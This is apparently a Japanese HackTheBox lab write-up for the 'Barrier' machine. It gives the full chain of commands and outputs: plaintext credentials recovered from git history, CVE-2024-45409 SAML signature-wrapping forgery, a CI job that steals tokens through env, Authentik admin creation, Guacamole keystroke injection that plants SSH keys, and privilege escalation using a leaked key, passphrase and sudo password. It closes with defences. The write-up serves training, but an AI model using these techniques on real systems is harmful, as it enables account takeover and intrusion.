HackTheBox: Barrier — 全実行コマンド・実行結果レポート
Nmap スキャン
GitLab/Authentik/Tomcat
→
GitLab/Authentik/Tomcat
GitLab公開リポジトリ
旧コミットでsatoru平文PW
→
旧コミットでsatoru平文PW
Authentik SSO発火
SAMLResponse捕捉(mitmproxy)
→
SAMLResponse捕捉(mitmproxy)
CVE-2024-45409
署名ラッピングでakadmin偽装
→
署名ラッピングでakadmin偽装
CI/CD Runner再開
.gitlab-ci.ymlでenv実行
→
.gitlab-ci.ymlでenv実行
AUTHENTIK_TOKEN窃取
Authentik superadmin作成
→
Authentik superadmin作成
Guacamole乗っ取り
maki impersonate+鍵注入
→
maki impersonate+鍵注入
MySQL資格情報
maki_adm鍵+bash_history
→
maki_adm鍵+bash_history
sudo → root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.234.46 nmap -Pn -sV -sC -p 22,80,443,8080,9000,9443 10.129.234.46
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 80/tcp open http nginx (→ https へリダイレクト) 443/tcp open ssl/http nginx | ssl-cert: Subject: commonName=gitlab.barrier.vl | http-title: Sign in · GitLab 8080/tcp open http Apache Tomcat (Guacamole) 9000/tcp open http Golang net/http server (Authentik outpost) 9443/tcp open tungsten-https (Authentik管理コンソール)
ℹ️
GitLab(443)、Authentik(9443、SSO基盤)、Guacamole(8080、リモートデスクトップ管理)の
3つの主要サービスが確認できる。ドメインは
barrier.vl、
GitLabのvhostはgitlab.barrier.vl。
BASH
echo "10.129.234.46 barrier.vl gitlab.barrier.vl" | sudo tee -a /etc/hosts
PHASE 2
GitLab公開リポジトリから satoru の平文パスワードを窃取
公開リポジトリのコミット履歴を調査
NOTE
GitLabに匿名/ゲスト登録でアクセスすると、satoruが所有する公開リポジトリ (認証連携用の自動化スクリプト等)が閲覧できる。そのリポジトリの コミット履歴を遡ると、後のコミットで削除される前の旧バージョンの ファイルにAuthentik/GitLab連携用のパスワードがハードコードされたまま 残っている。
RESULT
satoru : dGJ2V72SUEMsM3Ca
初期資格情報
satoru : dGJ2V72SUEMsM3Ca
Authentik へログイン
NOTE
https://barrier.vl:9443/if/flow/default-authentication-flow/ に satoru:dGJ2V72SUEMsM3Ca でログイン。satoru はAuthentik上のアプリ一覧から GitLabへのSSOリンクにアクセスできるが、GitLab側では特に権限のない 一般ユーザーとしてしかログインできない。
⚠️
Authentikのログイン画面は静的JSバンドル(
FlowInterface-*.js、
約396KB)の配信が非常に遅く、初回描画に数十秒〜最大280秒程度
かかることがある。気長に待つ必要がある。
PHASE 3
CVE-2024-45409 SAML署名ラッピングで akadmin に偽装
脆弱性の背景
NOTE
GitLab 17.3.2 が使用する ruby-saml ライブラリ(<=1.16.0)は、 CVE-2024-45409 (GHSA-jw8x-8f22-hw6g) に脆弱。 SAMLResponseの署名検証をREXMLのID参照解決で行う一方、実際に認証情報 として読み出すAssertionは別のXPath経路(Nokogiri)で取得するため、 「有効な署名付きAssertionを samlp:Extensions 配下にラップして温存し つつ、実際に読まれる位置(Response直下)に任意内容(NameID等)の新規 Assertionを配置する」ことで、署名検証を通過したまま任意ユーザーへの なりすましが成立する(未認証の攻撃者でも、IdPが署名した何らかの SAMLアサーションを1つでも入手できれば悪用可能)。
正規のSAMLResponseを捕捉
BASH (Burp Suiteでインターセプトする場合)
# Burp Proxy の Intercept を ON にした状態で、Authentikのアプリ一覧から # GitLab を起動し、SSOのconsent確定ボタンをクリック。 # GitLabのACS(Assertion Consumer Service)への以下のリクエストを捕捉: GET /users/auth/saml/callback?SAMLResponse=HTTP/1.1 Host: gitlab.barrier.vl
ℹ️
このリクエストを送信せずにインターセプトしたまま
SAMLResponseパラメータの値をコピーする。これは
satoru自身の正当な署名付きSAMLResponseであり、これから
NameIDだけを書き換えて偽造の材料にする。
CVE-2024-45409 での署名ラッピング偽造
PYTHON (概念コード、Synacktiv CVE-2024-45409.py 相当)
from lxml import etree import base64, zlib xml = decode_saml_response(saml_response_b64) # base64 + raw deflate展開 root = etree.fromstring(xml) # 元の署名付き Assertion を temp 変数として保持し、samlp:Extensions 配下に移動 original_assertion = copy.deepcopy(find_assertion(root)) wrap_in_extensions(root, original_assertion) # Response 直下に新規の偽装 Assertion (NameID=akadmin) を配置 forged_assertion = build_assertion(name_id="akadmin", id_ref=original_id) insert_as_direct_child(root, forged_assertion) forged_xml = etree.tostring(root) forged_b64 = base64.b64encode(zlib.compress(forged_xml)[2:-4])
RESULT
CVE-2024-45409 署名ラッピング完了 → NameID=akadmin、
新規AssertionID=_b610c6f7777243639e63dde5dc7a5a3a
BASH (偽造したSAMLResponseをGitLabのACSへ送信)
curl -sk "https://gitlab.barrier.vl/users/auth/saml/callback" \ --data-urlencode "SAMLResponse=<forged_base64>" -X POST \ -c cookies.txt -L
✅
署名検証はGitLab側で通過し、akadmin(GitLab管理者)
としてログインしたセッションCookieを取得できる。
CI/CD Runner再開 → AUTHENTIK_TOKEN窃取
NOTE
akadminのAdmin Area(/admin/runners)には一時停止中のCI/CD Runnerが 存在する。これを再開(active=true)し、新規プロジェクトを作成して 以下の .gitlab-ci.yml を仕込み実行させることで、そのRunnerが持つ 環境変数(AUTHENTIK_TOKEN等)をジョブログ経由で窃取する。
YAML (.gitlab-ci.yml)
image:
name: redis:alpine
stages:
- build
job_build:
stage: build
script:
- env
tags:
- auto_5e7f
RESULT (ジョブトレース抜粋)
AUTHENTIK_TOKEN=<Authentik APIトークン>
PHASE 4
Authentik API で superadmin を作成 → maki を impersonate
Authentik API でスーパー管理者ユーザーを作成
BASH
curl -sk https://barrier.vl:9443/api/v3/core/users/ \
-H "Authorization: Bearer <AUTHENTIK_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"username":"superadmin","name":"superadmin","is_active":true}'
curl -sk https://barrier.vl:9443/api/v3/core/groups/ \
-H "Authorization: Bearer <AUTHENTIK_TOKEN>" | jq -r \
'.results[] | select(.name=="authentik Admins") | .pk'
curl -sk "https://barrier.vl:9443/api/v3/core/groups/<admins_group_pk>/" \
-X PATCH -H "Authorization: Bearer <AUTHENTIK_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"users_obj":[{"pk":<superadmin_pk>}]}'
✅
新規ユーザー
superadmin を authentik Admins
グループに追加し、Authentik全体の管理者権限を獲得する。
Admin Interface から maki を Impersonate
NOTE
superadminでAuthentikにログインし、Admin Interface (/if/admin/) の User一覧からmakiユーザーを選択、"Impersonate"機能を使うことで makiとして操作できるセッションを得る。makiはGuacamole(Authentikの Application/Outpost経由でforward-auth連携)の既存"Maintenance"接続に アクセス権を持つ。
PHASE 5
Guacamoleブラインドコマンド注入 → maki_adm鍵回収 → root.txt
Guacamole SSH端末へのブラインドキー注入
NOTE
impersonateしたmakiでGuacamoleの既存"Maintenance" SSH接続に入る。 このターミナルはラスタ画像として描画されるため出力を直接読むことは できないが、WebSocketプロトコル経由でキー入力を送信することはできる。 ここでは「読めなくても構わない」ブラインドなコマンド注入として、 自分のSSH公開鍵を対象ユーザーの ~/.ssh/authorized_keys に追記する コマンドを送信する。
PYTHON (概念コード、Guacamole WebSocketプロトコル)
import websocket
ws = websocket.create_connection(
"wss://barrier.vl:8080/guacamole/websocket-tunnel?..."
)
payload = f'echo "{attacker_pubkey}" >> ~/.ssh/authorized_keys\n'
for ch in payload:
send_guac_key_instruction(ws, ch) # 3..key,.,.1;
BASH (Kali側、鍵ペア生成)
ssh-keygen -t rsa -f barrier_id_rsa -N ""
BASH (鍵反映後、SSHログイン)
ssh -i barrier_id_rsa -o HostKeyAlgorithms=+ssh-rsa \ -o PubkeyAcceptedKeyTypes=+ssh-rsa maki@10.129.234.46
⚠️
対象のSSHサーバーは
ssh-rsaホスト鍵しか提示せず、
現代のOpenSSHクライアントは既定で拒否するため
-o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa
が必須(公式ウォークスルーでも同一の対処が明記されている)。
user.txt 取得
BASH
ssh -i barrier_id_rsa -o HostKeyAlgorithms=+ssh-rsa \ -o PubkeyAcceptedKeyTypes=+ssh-rsa maki@10.129.234.46 "id; cat ~/user.txt"
RESULT
uid=1001(maki) gid=1001(maki) groups=1001(maki)
4362a7b53146da20027308a79212c667
user.txt — maki
4362a7b53146da20027308a79212c667
guacamole.properties から MySQL資格情報を取得
BASH
cat /etc/guacamole/guacamole.properties
RESULT
mysql-hostname: localhost mysql-database: guac_db mysql-username: guac_user mysql-password: guac2024
guacamole_connection_parameter から maki_adm の秘密鍵を抽出
BASH
mysql -u guac_user -pguac2024 guac_db -N -B -e \ "select parameter_value from guacamole_connection_parameter \ where connection_id=2 and parameter_name='private-key'" mysql -u guac_user -pguac2024 guac_db -N -B -e \ "select parameter_value from guacamole_connection_parameter \ where connection_id=2 and parameter_name='passphrase'"
⚠️
落とし穴:
mysql -B(batchモード)は
値中の実改行を文字通りの \n(バックスラッシュ+n の
2文字)にエスケープして1行1レコードの出力形式を保つ、という
MySQLクライアントの既定仕様がある。秘密鍵のような複数行の値を
そのままファイルに保存すると、リテラルな\nが
残ったままの壊れたPEMファイルになりOpenSSH/opensslが解釈できない。
保存・使用前に\n→実改行、\t→タブ、
\\→バックスラッシュへ戻す必要がある。RESULT
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,641356448A934274F5411C859C1FE00F
...(暗号化された鍵本体)...
-----END RSA PRIVATE KEY-----
passphrase: 3V32FN6oViMPxyzC
maki_adm でSSHログイン → bash_history から sudo パスワード
BASH
# パスフレーズ付き鍵を復号(または ssh -i でパスフレーズ入力) ssh-keygen -p -P '3V32FN6oViMPxyzC' -N '' -f maki_adm_id_rsa ssh -i maki_adm_id_rsa -o HostKeyAlgorithms=+ssh-rsa \ -o PubkeyAcceptedKeyTypes=+ssh-rsa maki_adm@10.129.234.46 \ "cat ~/.bash_history"
RESULT
sudo su
Va4kSjgTHSd55ZLv
✅
maki_admの.bash_historyに、
sudo suコマンドの直後の行として
誤って平文でタイプされたパスワードがそのまま
残っている(シェルの通常動作: パスワード入力はエコーされない
はずだが、履歴には別コマンドとして記録される典型的なミス)。
root.txt 取得
BASH
ssh -i maki_adm_id_rsa -o HostKeyAlgorithms=+ssh-rsa \ -o PubkeyAcceptedKeyTypes=+ssh-rsa maki_adm@10.129.234.46 \ "echo 'Va4kSjgTHSd55ZLv' | sudo -S cat /root/root.txt"
RESULT
[sudo] password for maki_adm: ab6dc59e99e1a3b43a8861b7b16dfb3d
root.txt — root (sudo経由)
ab6dc59e99e1a3b43a8861b7b16dfb3d
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — maki
4362a7b53146da20027308a79212c667
root.txt — root
ab6dc59e99e1a3b43a8861b7b16dfb3d
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| GitLabリポジトリ平文パスワード | 公開リポジトリの旧コミット | 初期認証情報の漏洩 | Medium | コミット履歴を遡り削除前のハードコードパスワードを発見 |
| CVE-2024-45409 | ruby-saml (<=1.16.0) / GitLab 17.3.2 | 任意ユーザーへのSAMLなりすまし | Critical | 正規の署名付きSAMLResponseの署名付きAssertionをExtensions配下にラップ温存しつつ、実読み出し位置に偽装NameIDのAssertionを配置 |
| CI/CD環境変数漏洩 | GitLab Runner (再開可能な一時停止Runner) | Authentik APIトークンの窃取 | High | envコマンドを実行するCI設定を仕込み、ジョブログから環境変数を読み取り |
| Guacamoleブラインドコマンド注入 | ラスタ描画SSH端末 + WebSocket | 出力を見ずに任意コマンド実行 | High | WebSocketキー入力を直接送信しauthorized_keysへ公開鍵を追記 |
| bash_historyへの平文パスワード記録 | maki_adm の .bash_history | sudoパスワードの漏洩 | Medium | sudo su直後の行がコマンドとして誤って履歴に記録 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap(GitLab/Authentik/Guacamole発見) | サービス構成の把握 |
| 2 | 資格情報窃取 | GitLab公開リポジトリの旧コミット | satoru:dGJ2V72SUEMsM3Ca |
| 3 | SAML偽造 | CVE-2024-45409署名ラッピング + CI/CDトークン窃取 | akadmin権限 + AUTHENTIK_TOKEN |
| 4 | Authentik乗っ取り | superadmin作成 + maki impersonate | Guacamoleアクセス権 |
| 5 | Guacamole悪用 | WebSocketブラインドキー注入 | SSH公開鍵仕込み → user.txt |
| 6 | 権限昇格 | MySQL資格情報→maki_adm鍵→bash_history | sudoパスワード → root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 公開リポジトリのコミット履歴に機密情報が残存している | git-secrets等のpre-commitスキャンを導入し、機密情報混入コミットをブロック。既に混入した場合は履歴の完全書き換え(BFG Repo-Cleaner等)が必要。 |
| ruby-samlの既知脆弱性(CVE-2024-45409)が未パッチのまま運用されている | SSO関連ライブラリのセキュリティアドバイザリを継続監視し、迅速にパッチ適用する。SAML実装は署名検証と実際のデータ読み出しが同一のXMLパース経路を通ることを保証する設計にする。 |
| 一時停止中のCI/CD Runnerを管理者が誤って再開可能な状態にしている、かつRunner実行環境に機密トークンが平文で渡っている | Runnerの有効化を厳格に承認制にし、CI/CD変数はマスク化・保護変数化する。envコマンド等での環境変数一覧出力をジョブログに残さないポリシーを適用。 |
| Guacamoleのようなブラウザベースのリモートアクセスツールが、ラスタ描画のみでコマンド注入を検知できない | Guacamole自体へのアクセス制御を最小権限化し、Authentikのimpersonate機能の使用を監査ログで厳格に追跡する。 |
| sudo実行時のパスワードが誤って.bash_historyに平文記録される | HISTIGNOREやシェル設定でパスワード類似パターンを履歴から除外し、sudoパスワードは可能な限りSSO/PAM連携で入力履歴に残らない方式にする。 |

